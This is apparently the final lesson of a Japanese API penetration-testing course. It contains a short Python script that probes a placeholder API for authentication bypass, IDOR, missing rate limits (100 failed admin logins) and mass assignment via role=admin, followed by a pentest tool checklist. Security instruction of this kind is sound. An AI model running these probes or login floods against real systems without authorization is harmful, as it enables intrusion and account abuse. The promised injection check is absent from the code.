完全なAPIペネトレーションテスト
🔥 Vibe プロンプト
「対象APIに対して自動ペンテストを実行。認証、IDOR、レート制限、マスアサインメント、インジェクションを確認。」
import requests
BASE = "http://target.api.com"
findings = []
# 1. 認証バイパス
r = requests.get(f"{BASE}/admin", headers={"Authorization": "Bearer 無効"})
if r.status_code == 200:
findings.append("重大: 認証バイパス!")
# 2. IDOR
r = requests.get(f"{BASE}/api/orders/2", headers={"Authorization": "Bearer 有効"})
if r.status_code == 200 and r.json().get("user_id") != "current_user":
findings.append("高: IDOR - 他ユーザーの注文にアクセス可能!")
# 3. レート制限
for _ in range(100):
r = requests.post(f"{BASE}/api/login", json={"user": "admin", "pass": "間違い"})
# 4. マスアサインメント
r = requests.post(f"{BASE}/api/user/profile", json={"name": "test", "role": "admin"}, headers={"Authorization": "Bearer token"})
if r.status_code == 200:
findings.append("中: マスアサインメント - roleパラメータが受け入れられた!")
for f in findings:
print(f"⚠️ {f}")
APIペンテストチェックリスト
| チェック | ツール | |---------|-------| | 認証バイパス | Burp Repeater | | IDOR | UUID手動インクリメント | | レート制限 | Bombardier | | インジェクション | sqlmap | | JWT | jwt_tool |
APIペンテストコース完了!🎉
- ✅ 偵察
- ✅ 認証バイパス
- ✅ SQLi/NoSQLi
- ✅ JWT/セッション
- ✅ 完全ペンテスト
重要なポイント
- コアコンセプトをしっかり理解する
- ハンズオンコード例で実践する
- 実世界の問題に応用する
- 演習で知識を強化する
さらに学ぶ
- 公式ドキュメント
- GitHubのオープンソースプロジェクト
- コミュニティフォーラムとディスカッション
- 関連コースとチュートリアル